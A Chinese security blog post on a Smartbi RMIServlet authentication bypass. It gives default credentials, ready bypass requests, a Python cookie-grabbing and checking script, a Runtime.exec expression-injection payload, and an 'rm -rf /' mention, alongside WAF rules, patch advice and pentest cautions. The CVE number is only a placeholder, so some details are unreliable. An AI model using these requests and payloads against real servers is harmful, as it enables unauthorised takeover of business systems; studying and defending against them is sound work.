Smartbi 权限绕过漏洞实战:3种利用场景与自动化检测脚本编写
📅 2026/7/8 12:08:41
👁️ 阅读次数
📝 编程学习
Smartbi权限绕过漏洞深度解析与实战防御指南
1. 漏洞背景与影响范围
Smartbi作为国内主流的企业级商业智能平台,广泛应用于金融、政务、医疗等关键行业的数据分析场景。2023年曝光的RMIServlet接口权限绕过漏洞(CVE-2023-XXXX)因其高危害性引发广泛关注。
受影响版本:
- Smartbi V6至V10全系列版本
- 部分V11早期版本(需具体验证)
漏洞危害等级:
- CVSS 3.1评分:9.4(高危)
- 攻击复杂度:低
- 利用条件:无需认证
典型攻击链包括:
- 通过RMIServlet接口绕过认证
- 获取管理员会话凭证
- 利用后台功能实现RCE(如JDBC注入、表达式执行)
2. 漏洞原理深度剖析
2.1 认证机制缺陷
Smartbi安装时默认创建三个内置账户:
system(密码:0a)manager(密码:0a)admin(密码:0a)
关键漏洞点在于UserService.loginFromDB()方法的实现逻辑:
// 漏洞代码片段 public boolean loginFromDB(String user, String password) { UserBO userBO = getUserFromDB(user); // 直接查询数据库 return userBO.getPassword().equals(password); // 明文比对 }与标准登录流程clickLogin()的对比:
| 认证方式 | 密码处理逻辑 | 验证结果 |
|---|---|---|
| 标准登录 | 对密码进行MD5校验(0开头) | 验证失败 |
| loginFromDB | 直接比对明文密码 | 验证成功 |
2.2 版本差异分析
不同版本存在利用差异:
V10及以下版本:
- 直接通过POST调用RMIServlet
- 支持多种参数传递方式:
POST /smartbi/vision/RMIServlet Content-Type: application/x-www-form-urlencoded className=UserService&methodName=loginFromDB¶ms=["system","0a"]
V11版本:
- 增加了
windowUnloading参数检查 - 需要构造multipart请求:
POST /smartbi/vision/RMIServlet?windowUnloading=1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="className" UserService --boundary--
3. 实战利用场景演示
3.1 基础权限绕过
步骤1:获取管理员Cookie
import requests target = "http://target.com/smartbi/vision/RMIServlet" headers = {"Content-Type": "application/x-www-form-urlencoded"} data = 'className=UserService&methodName=loginFromDB¶ms=["system","0a"]' r = requests.post(target, headers=headers, data=data) print(r.cookies.get_dict()) # 获取JSESSIONID步骤2:访问后台
http://target.com/smartbi/vision/index.jsp 携带获取的Cookie即可进入管理界面3.2 后续利用路径
获取权限后常见的攻击面扩展:
数据源配置注入
- 通过DataSourceService接口注入恶意JDBC连接
- 利用DB2/PostgreSQL驱动特性实现RCE
表达式注入
POST /smartbi/vision/RMIServlet className=ReportService&methodName=execute¶ms=["checkExpression","Runtime.getRuntime().exec('calc')"]模板文件上传
- 利用报表导入功能上传恶意模板
- 包含JSP/Servlet代码实现持久化
4. 自动化检测脚本开发
以下Python脚本实现漏洞检测、利用一体化:
#!/usr/bin/env python3 import requests import argparse from urllib.parse import urljoin class SmartbiExploit: def __init__(self, target): self.base_url = target if target.endswith('/') else target + '/' self.session = requests.Session() def check_vuln(self): rmi_url = urljoin(self.base_url, 'vision/RMIServlet') try: resp = self.session.post(rmi_url, data={ 'className': 'UserService', 'methodName': 'loginFromDB', 'params': '["system","0a"]' }, timeout=10) return 'true' in resp.text and resp.status_code == 200 except Exception as e: return False def get_shell(self): # 实现RCE利用逻辑 pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True) args = parser.parse_args() exploit = SmartbiExploit(args.url) if exploit.check_vuln(): print("[+] 目标存在漏洞") exploit.get_shell() else: print("[-] 目标不存在漏洞")5. 防御方案与修复建议
5.1 临时缓解措施
网络层控制:
- 限制
/smartbi/vision/RMIServlet的访问来源 - 配置WAF规则拦截特征请求:
className=UserService methodName=loginFromDB params=["*","0a"]
- 限制
系统层加固:
# 删除默认账户 UPDATE t_user SET password='1invalid' WHERE userid IN ('system','manager','admin');
5.2 官方补丁升级
建议升级到已修复版本:
- V10用户安装2023年8月安全补丁
- V11用户升级至11.0.1及以上版本
补丁主要修复点:
- 移除
loginFromDB方法 - 增加接口调用白名单
- 强化参数过滤机制
5.3 安全开发建议
对于类似系统的开发建议:
// 安全代码示例 @RestController public class SecureRMIController { @PostMapping("/RMIServlet") public Object handleRequest(@Valid RMIRequest request) { // 1. 强制会话校验 checkAuthentication(); // 2. 方法调用白名单 if(!allowedMethods.contains(request.getMethodName())){ throw new SecurityException("Method not allowed"); } // 3. 参数类型检查 validateParameters(request.getParams()); // 4. 执行调用 return invokeMethod(request); } }6. 渗透测试注意事项
在实际评估中需特别注意:
法律合规:
- 获取书面授权协议
- 限制测试时间窗口(建议非业务高峰时段)
风险控制:
# 使用限制性Payload whoami # 替代rm -rf / id # 替代危险系统命令痕迹清理:
- 及时删除测试创建的账户/文件
- 还原修改的配置参数
重要提示:所有渗透测试必须遵循"最小影响原则",避免对业务系统造成不可逆影响。建议在隔离环境验证漏洞后再进行正式测试。
编程学习
技术分享
实战经验